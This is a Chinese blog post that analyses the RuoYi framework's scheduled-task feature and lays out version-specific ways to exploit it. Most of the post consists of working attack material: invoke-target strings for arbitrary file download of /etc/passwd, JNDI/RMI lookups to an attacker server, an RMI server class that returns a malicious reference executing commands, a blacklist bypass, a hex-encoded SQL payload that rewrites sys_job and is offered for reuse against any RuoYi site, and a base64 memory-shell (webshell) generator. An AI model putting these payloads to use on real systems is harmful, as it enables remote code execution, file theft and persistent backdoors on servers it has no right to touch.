ruoyi定时任务浅析

前言

​ 以前都是直接贴poc,没分析过,最近碰见了也是定时任务,但不是若依的一套,回来看若依,发现若依的逻辑也抽象了,真是捡洞。

定时任务分析

  • 创建任务

    下载源码后,我们可以在ruoyi-quartz模块,拿到ruoyi定时任务的源码。

com.ruoyi.quartz.controller.SysJobController

image-20241026174956321

这里就是对应的模块

com.ruoyi.quartz.controller.SysJobController#addSave

image-20241026181824359

这里创建定时任务,然后经过一系列判断调用jobService.insertJob进行插入数据库中。

com.ruoyi.quartz.service.impl.SysJobServiceImpl#insertJob

image-20241026182010206

1
ScheduleConstants.Status.PAUSE

image-20241026182048185

新建任务时,默认设置暂定状态。

如果插入成果,调用ScheduleUtils.createScheduleJob创建计划任务

com.ruoyi.quartz.util.ScheduleUtils#createScheduleJob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException
{
Class<? extends Job> jobClass = getQuartzJobClass(job);
// 构建job信息
Long jobId = job.getJobId();
String jobGroup = job.getJobGroup();
JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build();

// 表达式调度构建器
CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression());
cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);

// 按新的cronExpression表达式构建一个新的trigger
CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup))
.withSchedule(cronScheduleBuilder).build();

// 放入参数,运行时的方法可以获取
jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);

// 判断是否存在
if (scheduler.checkExists(getJobKey(jobId, jobGroup)))
{
// 防止创建时存在数据问题 先移除,然后在执行创建操作
scheduler.deleteJob(getJobKey(jobId, jobGroup));
}

// 判断任务是否过期
if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression())))
{
// 执行调度任务
scheduler.scheduleJob(jobDetail, trigger);
}

// 暂停任务
if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue()))
{
scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
}
}

这里可以看到,常见任务,主要就是build了一个jobDetail,trigger。其中trigger和jobId,jobGroup,cronScheduleBuilder进行绑定,

jobDetail就是放入了job的一些信息。最后把他们注册到scheduler中,让他去执行

  • 再来看执行

com.ruoyi.quartz.controller.SysJobController#run

image-20241026184215206

调用jobService.run。

image-20241026184306868

有了上面的基础,这里就很能看懂了,new 一个JobDataMap,把任务参数put进去,在传入的jobid调用ScheduleUtils去找Schedule中找jobkey。然后调用triggerJob。

org.quartz.core.QuartzScheduler#triggerJob(org.quartz.JobKey, org.quartz.JobDataMap)

image-20241026184609843

新建一个trigger和我们jobkey,JobDataMap绑定, 然后调用storeTrigger,加入到jobList,进行触发。

  • Scheduler进行触发

    org.quartz.simpl.SimpleThreadPool.WorkerThread#run()

    image-20241026185915296

    最后就会调用到invokeMethod

    com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)

    image-20241026190013651

    获取SysJob中的参数,首先判断是不是bean,bean就调用getbean获取。不是然后反射调用。太搞了,参数都是前端传进来的。

  • 总结

    创建任务是,会将任务参数插入到数据库中,成功后,就新建jobDetail,trigger,然后注册到scheduler。立即执行时,会重新创建一个trigger,在和job绑定到scheduler中触发。

com.ruoyi.quartz.controller.SysJobController#changeStatus

image-20241026190730682

找到Job,设置job的 status;,然后调用

image-20241026191025335

根据传入的status,进行分别调用。

image-20241026191238679

image-20241026191248254

最后也是调用到scheduler执行执行或者暂停,

poc 构造

image-20241026191551371

就是在进行赋值的时候会有黑名单

com/ruoyi/common/constant/Constants.java

image-20241026191655501

这里手动修改了,注视了4.7.9的名单,这里看见了,4.7.9已经是白名单了,且只有一个类,没得玩了。

image-20241026191809857

  • 4.7.8的黑明单

image-20241026191948450

还是有很多操作空间

  • 4.7.5

image-20241026192139622

没有com.ruoyi.common.config

  • 4.7.2

image-20241026192230974

这里没白名单,且黑名单也少,也就是《=4.7.2以前,基本就和无限制调用任意类任意方法没什么区别

首先来看 4.7.5

主要就是这个类

com.ruoyi.common.config

image-20241026192627909

一共三个

主要有用的就是com.ruoyi.common.config.RuoYiConfig

1
2
3
4
5
6
7
8
9
...
/** 上传路径 */
private static String profile;
...
public void setProfile(String profile)
{
RuoYiConfig.profile = profile;
}
...

又一个方法可以配置上传路径。

com.ruoyi.web.controller.common.CommonController#resourceDownload

image-20241026192957302

配个/download/resource可任意文件下来

image-20241026193042503

image-20241026193338055

这里检查也没什么用,我们用不上,主要就差../和文件后缀

主要是这个

1
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);

image-20241026193143044

image-20241026193136517

他会在我们传入的resource找/profile,没有返回控,有就截取/profile后面的进行拼接,

因为这里是把我们传入resource和RuoYiConfig.profile 拼接,只要resource没有**/profile**,会返回控,这样路径就只要RuoYiConfig.profile,也就是我们只要把RuoYiConfig.profile设置成要下载的文件名就行了

image-20241026193736119

1
2
com.ruoyi.common.config.RuoYiConfig.setProfile('/etc/passwd')   //全类名
ruoyiConfig.setProfile('/etc/passwd') //bean形式

执行后在访问 http://127.0.0.1:8088/common/download/resource?resource=1.txt 就可以下载,这里resource随便写,后缀在白名单里找一个就行,反正最后返回空。

image-20241026193847260

这样就完成了任意文件下载。

4.7.2 相当于没有限制

https://github.com/SpringKill-team/SecurityInspector

直接来我们的项目SpringKill-team/SecurityInspector 找个

image-20241026194501101

太多了太酷了

image-20241026194802637

随便找一个

1
org.springframework.jndi.JndiTemplate.lookup('ldap://127.0.0.1:1389/remoteExploit8')

image-20241026194959880

执行后也是可以的,要是高版本也很简单,看我的补天大会上的ppt。直接上才艺, 返回一个恶意reference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ruoyiref {
public static void main(String[] args) throws Exception {
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec(\"open .\")\n" +
"$$\n";
ref.add(new StringRefAddr("jdbcUrl", JDBC_URL));
Registry registry = LocateRegistry.createRegistry(1097);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("exp", referenceWrapper);
}
}

4.7.8

忘记说了

com.ruoyi.quartz.util.JobInvokeUtil#getMethodParams

参数执行是下面几个类型

image-20241026195221549

这个版本限制了只白名单只能是com.ruoyi开头的类,且不在黑名单中就行。

网上公开就是通过sql去改sys_job中的invoke_target。

com.ruoyi.generator.service.impl.GenTableServiceImpl#createTable

image-20241026224026324

执行sql语句

image-20241026224039450

无敌

也就是空insert或者update设置一下invoke_target就行了

可以给一个提示,我们知道javax.naming.InitialContext 经常在黑名单中,其实可以用它的子类来进行绕过

image-20241026231352728

javax.naming.directory.InitialDirContext

javax.naming.ldap.InitialLdapContext

都是可以的,这样轻松就绕过黑名单了

image-20241026231726022

转hex

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;')

执行后

image-20241026232044514

id为1的已修改完成,然后执行就行。

这里只能通过SpringUtils.getBean(beanName); 触发,不能放射调用, 没有构造方法.

4.7.9

image-20241027000801430

白名单,没得玩

在就是1day,ThymeleafSSTI。

省流

看js得到版本

以后碰见若依用这个就行了 ,若果不行就是>4.7.8

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;')

hex改成你的jdni地址的hex就行了

高版本jdk直接用 我的工具起一个恶意ldap去hook一下返回流就行了

image-20241027002808213

1
2
生成恶意bin
java -jar JYso-1.3.4-all.jar -y -g Fastjson1 -p "open ." -f fj.bn

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//加密器: JAVA_AES_BASE64
//密码: Azlvjmc
//密钥: Fbwgkux
//请求路径: /*
//请求头: Referer: Kpziyci
//脚本类型: JSP
//http://127.0.0.1:8088/favicon.ico

package com.ruoyi;


import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class fj {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception{
byte[] decode = Base64.getDecoder().decode("yv66vgAAADEBSAEAKG9yZy9zcHJpbmdmcmFtZXdvcmsvaXovU2VyaWFsaXphdGlvblV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQANZ2V0VXJsUGF0dGVybgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3NwcmluZ2ZyYW1ld29yay9pei9TZXJpYWxpemF0aW9uVXRpbDsBAAIvKggADAEADGdldENsYXNzTmFtZQEAMm9yZy5hcGFjaGUubG9nZ2luZy5XZWJTb2NrZXRVcGdyYWRlT2t1a0ludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQ9ESDRzSUFBQUFBQUFBQUpWWENWd2MxUjMrSHJzd3k3SW1FUklpSmpHSG1pd3NzQ1FpU2NBRFNGQXdMSWtoRWtuYTJtRVpsZzNMN2pvN3kyWFVXby9hTTYyMWh6MXNtN2FtUjJ5ajBRVk0xZlJRVzN2Wnc5clcxbDcyMU5yMHJxMkszNXVaWFJaWVRQcjd3Y3pzZS8veisxL3ZQZjdLQXc4QldDOThBaHRpZXNpdnh0Vmd2K2FQeEVLaGNEVGszNjMxZE1hQ0E1cHhSVHlrcTczYTlvSGtRRnZVMFBTZ0ZqZGl1Z0loc0dTZk9xVDZJeXJKdDBUVVJLSTlSa0p1T1FRMlNwR0p1RTVSZmJvNnFBM0g5QUgvc05ialQyajZVRVF6L0UySjBXaXdWWTMyUmpSOWh0eDhnWUlMd3RHd2NaR0F3MXZlSmVEY0V1dlZCQmEyaDZOYVIzS3dSOU4zcVQwUnJoUzN4NEpxcEV2VncvSzN2ZWcwK3NNSmdkcjIvOStwQmc4VXVOeHdZb0hBbWQ3Mm5PNDFTSlBFbU1EU2VmYWxrRVZTU0FscHBrazZEUWxHY3pJY01URmE0a2FwVk9PTWsxTzZNcHVTY3M1QVdTSHljQ1lSVWVOeExkb3JVT1dkUzFnK1o4bldRaEhMc1VJcU9vdFlEbWlqSHF5eVJLNFdjQmt4aTFoZ3NYZXVDUEtlalhNazc3bmtIZXc5WDJEdEtla200enA0M1ZSU0xyOU1kY3d4Y1RuenhidTN1WHcyYWcwQ2VjRWVQdlkyQ3hUMWFuMk1zcmxCOUVqZjFqYVh3NFAxMkNBUlBvOXlSd1FVMHUwcGwvd2wwNlF0SXpLbzRWaFV3VWFTQmFuZUZEVGlEK3FqakxaL1N6amVUNHdZZ2lGVnIwMXZ6MkxtdHFBbFlwRC9leFRVMkNwbUNWSFFKSEJhcDZFR0J3SnEzRTVFUjFOTHB3dGI2VlJJTTlxaUNVT05CcmxjUGkrS3N5M3o0QkpjNmtZeldnVld6aUJJeExXZ3YxTUw2cHF4VFJ2dDVDOEZsd2tzbWkxWVFUc0RUZlhObzRaR041eGVvdVJCQjdhN0VjQU9DK0VjNW5USkhON3B4alowa2trV295UnRzeWdUV2pDcGg0MVJQMVdicEZlZ1MxcTVtNEhvalYwU2pxb1JKcXdNdGRUVmpUMXljNjlBWVZ6WHJJSVg2UFhhSHFmYlFiOWh4UDJ0ZkhSYUN6dTFxNU5hd21nNEtWa2lIb3NtdElZc0o3YjM3Tk9DUmtQNUhvRlYwNnRXQUl5d0txT2FsUnRYemFTS1JMU1FHbWtLQnJWRUlvdEtaZmo3WmxhcHJZWWI5Q2M3cGp1MXZnaDN3a1BhOXJpbXo5VFhJRXRaMTdjbkNlaEtpeWNjODh2b05PbTZPc3IxZU5KZ0ZEUjFrS1JLZ2xhUWl5Yk9qNE5KSWJPNFZ6Vm9wcUpieUFtc08wV0ltU0c2RFdQYWtWTUFuSnI2cmU0dGNOWnJHNmZnYW9GelQ4a1lCY3pTdGFkbWdvTGtqSlMzQXFKZ1dHREZheUtyWU5SV2N2S0FLYmhHd04ydnljN2V3VG5td2JWV1M3dU9DYzNDYWpWM1BIZ1R2RVV3Y0FPcjNTTHVVaU5KVXQ5b1VkOUVrSU94cUtHR28zUncyWXpSMHEvcW5kSjdkZ2NtclFlMzRDMnlPbStsWGlyb1RLZkFHbS81eVpMQWc3Zmg3ZEtNZHdoNHlMdERsYVBYa1BhOXk3THZBSzN1cWF2ZHFnWE5rVnFhcXhmSnFuMFBicE1kL0wwZW5JODYrZlUreGp1dWprWTQ0bHo0Z0NXK3lTQkhUOUxRVGo0YTdHTHg0QTU4cUFnNlBteTFKYnZQbDNoejlmaVA0azQzUnZBeFR2NVptd28rSWJBZ3pXK05YWUd5dVZJeUUvbVQrSlFiQi9GcDZVcUpCMVdvbGwrZm9SK0pHWDZzeStGSGp0YkNwdmM1ZkY0NmNwaFJpcWRoVHJqd0JZbnlZVGZHNUd3dmltckQwNDEvNXBUTklISXZqa3JUN3VPSkl5c2xrMnhWZzFwV0dxWUV6c2cyYmxlL0hodVdnOGJ1MWhOdWpHT1M3WVdwcEVZU2N0am02b2tlSE1PWEpLd1BXdm03bTUxY2dyYzBiUnlMWmdmZHRqZG8zOE00WG9RaGZKbjBpV1JQd2o0eWxIcG5EdWJNN1A4cXZpYXo5NUgwTEo0cFQ4RmpBdm5EOG51V2hWbWo1eHQ0M0kydjQ1dlNUQjQraW94WXBvdzkrSTZjWFdQNExrUFhveWEwdXRxV2FEcVhaeDR1TWhaOUQ5K1h3ZjZCVkRpZnpVOUttMy9FV0dZUUo0SXJaczI3QU10TURXbGJ3eUdyYlRvNGZ2a01iRDNmaGFkWjFhOUJyZURuQXV2bkw1SjVkTWdUd0MvY2VBYS9aR0FqV2pSazlKdUg0allQZm8zZlNKdWY1VVl5enRhdldjY2dSb1VJL2c2L2wxeC9ZTktaNGdkVm85L2ZIQTdKczI1SVJ1RlBaT3MxZFhqd3ZFVDBHZnhaRHUwMlltaW0wMS9jZUE0bjVCbndTZm4xTnpNTVYvQVFxbThoNmg3OFE1NE5BL2dudFZvQllBNFZXQUVST0QzSEdVOGVzdXA0eXVzaHNQbERzam5hemJzNmFZUWoxYzBtcXdzdlUyQmZ6R3kxbkJrbjZTcnBUakhGd09HZ0VGYkh0TzF4Q1Y1RGl2Zk9JVmRFdnBYNkFjM29qL0ZJM1poRHkxeTJiTDI2TlREOGxvUUdqMUNFU3hwUXlLVGZPN2ZxRkZIRTRwMlBYUkduRWJwd2RDZzJRSmMzNTZqYUhDSnpkUkt4VUN4eWl3WGlkUFpHemNSZ2wzM0Nkd2xlUlVvVHlXajFZRGdSckc1dTZteEoxdzFoV2lLYmh2bkRKWmJLTTV4bXgxT0NhVTBLVXNsTGlMWGpFc3ZuU3N2UThhYmhzZWlhazMxOWNtVVZlLzBGd1loOXBWT2F4aUpEK3dhRExuRTJFK0M4OWVyNnVwcSt6ZWZWYk42d29YZHpuVXV3NEJVT1pFMlhyT3Y0WTF0OExEd2FETHRFT1ZhempKMmdJY2hIb2J4YjhBTHJrcmNrODczS2ZBczVvTTMzamVhN2tGKzgxUEZaeUY5TmxDRDRMcWtZeDhLS0V1RzlIOWZ6VlhFL2JyNkh5M25NSTBCMkMvRG1WSXdWS09LWHgyTGgrelJUTUs5M3RyZ0lLU1Z0VFlWdkhJdG55anVHMHU1eExMMFh5MUpZZVMvVzhKbkMyZ2xVSEVYbHRLNEZjUEM1aXRKWHc0ODFwcjVTUzZhdFQzNmRUbHQ0MEpSenk5WjhJWUdRVklVVlBvZnZvWEhVSHNtSUxERE5YWnNscWpBanFwQktha3hSbk91MnFLZkk0ZVRiVjl3eWdiYU9xdVYzUUhFZWdqUC9HTFoxbTRaZlh0d3lqbDBwWEZubFMrRjFSenJFRVZNRnIzbllSUHZkcHFKOFBpc3Bxb3BlVkhQSGozS3Fra2JVY3ErQXE1dFJUK3B5bXRTQUMweS9mUm5EZlBTb3hwVHF3MFc0bURSYitFMnFLU3lFVTBHZWdrYWg4Q0loSDFQY3lsN2pSN09Zd2xJNDdFVkp0WW5TWG84M1VCS2R6UE9ZS1FPYzhGWGNoK3NuOGVZOFBJcG5wMy93NCtZVTNub0hudkJONHAwQzlVNGZJemVKZCtkaEFyZlg1MWVVNVR0U2VIOTlmcG16K0lPVCtFZ2VIc01hK1gwTWVkMFZLWHc4aGJ2R2NhZ3NQNFhQVHVKdUJ3N2hKbC94Rjh2eUozSEV3Wms3eGx5NHA3NGd3MzBjQjFPNHYxNDVoSVgxcm1NWTd5NXpqZU9CaDh1VXNvSVVIdHBkcHZqa3EzSVNYeEU4SVZRNkZpMUs0ZEVVdmxXbXBQQnRlNzFDMGo3aHBGa1QrQ0gzTXRTUytDa3VPQTQ3RDh1aktnN2dOcnpSZnZmWUVkdUp4WHpXTWU4Mk1pYWIrTnlNUmthb25kRVpZRFNTak1OMUxKZ0QyRXF1WnR6T2lOeUpGdHlGUzNFM1dua3VhTU1qdUF4UDg1YjRQRWZCQzlodVJydVAwZzlRUnhDOXJKVGIrVXZqbW91eW9naWhuNWx3SnkrZzFtNDVKWVN4aittM2thZVhBV2FBektJVG1hdzR3UW9iTkxQaUJMbGpaaktmUUp5OERqTS82cEQvTWdZVWNLSTFUakhsRlRQK25MWkRDa2FzWllXSEJXYkQvcGRReExVWEVYaVI4bjRzRTRqdlRXWWI4ZHFGd0p3M3M3Skd0QmYvYkFLL0NsUXlzSmM3K1BodENuODhodWU2blpVcHZEQ092MHFBLzU3Q3Y5ckpFdkRKYW1BR01mUFQxWEFXZlFOMmNiV0xudS9HRWx6Si9UMms2R1p0N0RWeFdrVmFGNnZpSXZ6RXJ2Y0x6WWFWUjRxZjhrdVlIcFlnYjRwczlDckFQeXV2YVN6UE5GWmlpNERaRFlIOU5QcVZDWkVYcUN3UlRuRmNGS1NFdTVKdlQwb1VkMVF4UVV2RVl1ZURPTmp0S0c3czVGNFZmNHgwT3lyNFhYd2NBWHJTMEZFaVNrMEpNak9kWlU2VDZZeHNwakxuSEs1OFZzb1JzdzFlekNUWlJLT1RQTGFsZ2RqQVVBSlhjYmVIemdiWlZIdEpGeUdsUnNvUTA2Y2ZPNWdDU1FaL2hJa3d4bkJMY0ZvSjRISWVQdjV0aHRyRnRQd1BYcVNVSFRqWFhIT1NzOXBlMjhMaythL2RVUGJqZndSU2dqaUdseklnbHNzMllyYUp4alNJVTJ5QVR2dTMyU3Y0bUowWnZBVFpJSGZiSU4rYUJmS3kzQ0N2c1BFS3pBVzUwZm9qYUUyRWV1VWNxRmRuczg2Q2VwcDNHdkFXd3JTSlZYZ0RicG9GK05YY1RSSzJJWUk0VExyclNUbEN5akVDZUExemNqOTVyaVBYdGJ4czNwQUZlTGtvc3dGdnRNSHRnczljYzVLejFsNXJZNmFtQWIrVmdGdFpld3NCcjhrR3ZOWE8ya1liOEFZSnVQazdOK0F1c1NZenAxdk1rcUNnRW5IT1VTd3JFV3VQWXMzSkpxcklURzhQYmZMaVRPQlZHQytNcytZV0FBQT0IABcBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABkAGgoAFgAbAQADKClWAQAHY29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAC2ludGVyY2VwdG9yDAAZAB0KAAQAIQEACmdldENvbnRleHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAIwAkCgACACUBAA5nZXRJbnRlcmNlcHRvcgwAJwAkCgACACgBAA5hZGRJbnRlcmNlcHRvcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAKgArCgACACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAuAQARcmVxdWVzdEF0dHJpYnV0ZXMBAAtodHRwcmVxdWVzdAEAB3Nlc3Npb24BAA5zZXJ2bGV0Q29udGV4dAEAE2FwcGxpY2F0aW9uQ29udGV4dHMBABlMamF2YS91dGlsL0xpbmtlZEhhc2hTZXQ7AQASYXBwbGljYXRpb25Db250ZXh0AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAOQEAEGphdmEvbGFuZy9PYmplY3QHADsBAA1TdGFja01hcFRhYmxlAQAQamF2YS9sYW5nL1RocmVhZAcAPgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAQABBCgA/AEIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DABEAEUKAD8ARgEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggASAEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAEoASwoAOgBMAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMIAE4BAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABRCgACAFIBAApnZXRSZXF1ZXN0CABUAQAKZ2V0U2Vzc2lvbggAVgEAEWdldFNlcnZsZXRDb250ZXh0CABYAQBCb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5zdXBwb3J0LldlYkFwcGxpY2F0aW9uQ29udGV4dFV0aWxzCABaAQAYZ2V0V2ViQXBwbGljYXRpb25Db250ZXh0CABcAQAPamF2YS9sYW5nL0NsYXNzBwBeAQAcamF2YXguc2VydmxldC5TZXJ2bGV0Q29udGV4dAgAYAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABiCgACAGMBADFvcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5MaXZlQmVhbnNWaWV3CABlAQALbmV3SW5zdGFuY2UMAGcAJAoAXwBoCAA0AQAFZ2V0RlYMAGsAUQoAAgBsAQAXamF2YS91dGlsL0xpbmtlZEhhc2hTZXQHAG4BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAHAAcQoAbwByAQASamF2YS91dGlsL0l0ZXJhdG9yBwB0AQAEbmV4dAwAdgAkCwB1AHcBADVvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LldlYkFwcGxpY2F0aW9uQ29udGV4dAgAeQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAewB8CgA8AH0BABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAH8AgAoAXwCBAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAIMBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCFAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAhwEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCJAQATamF2YS9sYW5nL1Rocm93YWJsZQcAiwEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247DAAOAAYKAAIAlQwAEQAGCgACAJcBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDACZAJoKAAIAmwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDACdAJ4KAAIAnwgAjwcAjgEAEWphdmEvbGFuZy9JbnRlZ2VyBwCjAQAEVFlQRQwApQCSCQCkAKYBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAKgAqQoAXwCqAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwCsAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAK4ArwoArQCwAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMALIAswoApAC0AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAC2ALcKAK0AuAEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAHZ2V0QmVhbggAvwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcIAMEIALsBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwDEAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDADGAMcKAMUAyAEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADQAQAHZm9yTmFtZQwA0gBLCgBfANMBAAxkZWNvZGVCdWZmZXIIANUBAAlnZXRNZXRob2QMANcAqQoAXwDYAQAQamF2YS51dGlsLkJhc2U2NAgA2gEACmdldERlY29kZXIIANwBAAZkZWNvZGUIAN4BAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwDqAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA7AEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDuCgDrACEBAAUoW0IpVgwAGQDxCgDtAPIBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABkA9AoA7wD1AQAEcmVhZAEABShbQilJDAD3APgKAO8A+QEABXdyaXRlAQAHKFtCSUkpVgwA+wD8CgDrAP0BAAt0b0J5dGVBcnJheQEABCgpW0IMAP8BAAoA6wEBAQAFc2V0RlYBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAR2YXIwAQAEdmFyMQEAA3ZhbAEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAQgBCQoAAgEKAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAQwBAANzZXQMAQ4AKwoBDQEPAQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7C